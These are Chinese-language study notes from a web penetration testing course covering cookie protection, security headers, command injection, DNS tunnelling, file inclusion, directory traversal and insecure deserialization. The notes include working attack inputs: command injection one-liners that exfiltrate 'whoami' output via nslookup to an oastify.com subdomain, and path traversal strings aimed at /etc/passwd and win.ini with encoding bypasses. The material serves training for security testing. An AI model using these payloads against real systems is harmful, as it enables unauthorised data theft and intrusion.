web安全测试3-注入(完整名请用base64解码):c2VjNTQyIFdFQiBBUFAgUEVORVRSQVRJT04gVEVTVElORyAmIEVUSElDQUwgSEFDS0lORw==
注入
-
保护 Cookie
Secure;HttpOnly;SameSite
用户的浏览器、地理位置 IP 地址等信息:一些应用程序收集分析这些信息,会在同一会话期间检测浏览器属性的变化,并要求用户重新登录
HttpOnly:适用于包含JavaScript之外的所有客户端语言
SameSite:用于控制何时在跨站点请求中发送(目的是防止跨站请求伪造 (CSRF) 攻击)。strict 阻止任何跨站请求发送 cookie;lax 允许浏览器通过常规链接发送 cookie,同时防止在 CSRF 攻击中发送 cookie;none 允许浏览器始终发送 Cookie -
CSRF,同源策略,SameSite
CSRF:浏览器打开第一个标签页A网站,因为其他原因打开第二个标签页B网站(比如恶意链接或水坑钓鱼)。如果B网站存在A网站的链接,浏览器就会自动访问A网站(A网站中的cookie在内存中是共享的。当点开B网站那一刻就会已登录态去访问A网站)
同源策略:由于同源策略限制的是攻击者无法看到响应,但允许发出任何的请求,浏览器会自动附加cookie(cookie在内存共享)
SameSite:strict 属性(即使 cookie 存在,浏览器也不会把它包含在请求中);lax 属性(如果访问B网站并自己点击A网站的链接,cookie依旧会发送过去;如果是B网站自动发起HTTP请求,则浏览器不会附带cookie);none(等于没有SameSite) -
HTTP 安全标头
这些标头应该由web应用来设置,浏览器遵守这些标头
X-Frame-Options:防止应用被框架化(frame)
HTTP Strict Transport Security:未来的所有请求只能通过HTTPS访问
Content-Security-Policy:允许开发人员定义活动内容(比如,加载位置参数和执行位置参数等) -
X-Frame-Options
浏览器是否允许在iframe中显示网页,还是允许嵌入(防止点击劫持):控制的标签有<frame>, <iframe>, <embed>, <object>
点击劫持:将受害者页面加载到自己控制的页面中,上层页面透明(iframe),受害者点击屏幕时,点击的是上层页面(top page),而不是下层肉眼可见的页面(bottom page)。键盘记录也会到透明的框架中。DENY 属性阻止页面被嵌入框架;SAMEORIGIN 属性仅允许来自与响应源相同的页面进行框架嵌入
美刀提示:点击劫持可以与self-xss相结合 -
HTTP Strict Transport Security(HSTS)
确保后续请求始终通过HTTPS访问网页
max-age:浏览器记住的时间,单位秒
includeSubDomains:适用于网站所有子域 -
Content-Security-Policy(CSP)
浏览器可以加载什么资源,什么资源受web应用服务器信任
允许开发者指定浏览器在当前网页上下文中可以加载和执行的服务器来源和脚本端点
遇到其他 JavaScript 代码时,除非CSP响应标头明确允许,否则浏览器将拒绝执行它
Content-Security-Policy: <policy-directive>; <policy-directive>
Content-Security-Policy: default-src ‘self’;会破坏从外部站点加载的任何其他正常业务 JavaScript
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP -
寻找命令注入
https://web.archive.org/web/20251214102046/https://www.bugbountyhunter.com/vulnerability/?type=command_injection
$(date)命令替换:允许将一个命令插入到另一个命令中,并将插入命令的输出传递给父命令
echo date
echo $(date)
考虑显注与盲注
琢磨你的输入与底层最终的形成语句,来考虑语义分隔符
你的输入:127.0.0.1
最终生成语句:ping 127.0.0.1
命令分隔符和输出重定向:; | || & && > >>
命令替换符号:` $()
输出重定向符号可能允许攻击者将输出写入文件,例如编写批处理脚本或 Web shell,绕过黑名单的符号
-
利用命令注入
所有人可读的文件 world-readable file:/etc/passwd 或 C:\Windows\win.ini
盲注:Ping或dns查询dnslog( Linux、MacOS 和 UNIX 会一直ping下去)
查找密码,SSH密钥,配置文件,敏感信息等
创建shell:Netcat, SSH, PowerShell/Python/Perl/Ruby/PHP, C2 Framework
盲注的dnslog:域名,VPS,bind (DNS server software),记录DNS请求
Burp Collaborator:即dnslog,2022年后改用 oastify.com(旧域名被屏蔽)
https://portswigger.net/burp/documentation/collaborator -
不出网环境
所有的初级红队教程已覆盖这些默认认知:畸形面试,真正要思考的是他的经历是否属实从而评估,而非“所谓的面试没答上来”。
所有的不出网默认都允许DNS隧道(禁用ICMP隧道):这台机器无法访问互联网,但是系统内置DNS,在进行DNS解析之后最终也能连接到互联网。真正的不出网,把网线拔了。 -
DNS隧道
base64 包含 + /,不符合DNS安全上下文
;a=$(whoami|base32|tr -d =);nslookup $a.demo.oastify.com
echo -n AAAAAAAAAAAAAAA | wc –c #15个字节,tr -d 删除 =,它会破坏DNS请求
echo AAAAAAAAAAAAAAA= | base32 -d # 解码 =填充4字节的边界
;a=$(whoami|xxd -ps);nslookup $a.demo.oastify.com
xxd -r -p 解码
子域长度限制:https://isc.sans.edu/diary/DNS+Query+Length+Because+Size+Does+Matter/22326
-
本地文件包含 (LFI)
形成显注的情况:
模板
文档或图像检索
框架内容
造成的影响:访问敏感数据或代码执行 -
目录遍历(Directory Traversal)
允许攻击者利用本地文件包含 (LFI) 漏洞访问 Web 根目录之外的文件
运行 Web 服务器的帐户必须具有访问文件的权限
利用相对路径或绝对路径进行攻击:
../../../etc/passwd
..\..\..\windows\win.ini
/var/log/apache2/access.log
C:\windows\win.ini
可以尝试使用 URL、双 URL 或 Unicode/UTF-8 编码来绕过
%2e web应用程序解码(waf或过滤器也可能进行解码)
%252e web应用程序解码
..%c0%af web应用程序解码
-
本地文件包含 (LFI) 的影响
应用程序配置文件
系统配置文件
源代码
日志
用户配置文件
用户文档 -
远程文件包含 (RFI)
允许从本地文件系统检索文件的功能也支持通过 FTP、HTTP 和/或通用命名约定 (UNC) 从远程系统检索文件
应用可能会执行包含在已下载文件中的服务器端代码 -
软件和数据完整性故障
https://owasp.org/Top10/2021/A08_2021-Software_and_Data_Integrity_Failures/index.html -
不安全的反序列化
序列化:将进程内存中的变量和对象转换为可存储或传输的格式(字节流)的过程
反序列化:将字节流转换回当前进程内存中的对象的过程(类似大小端,解决数据在内存中的存储顺序)
ysoserial:利用 Java 应用程序中不安全的反序列化
可能出现在任何面向对象编程语言中:Java 最常受到影响,但也适用于 .NET、PHP、Ruby、Python 等语言
不安全的反序列化会出现在哪里:远程/进程间通信(RPC/IPC); 远程方法调用(RMI);Java 管理扩展 (JMX);Java 消息服务(JMS);Java Server Faces 实现(ViewState)
365

浙公网安备 33010602011771号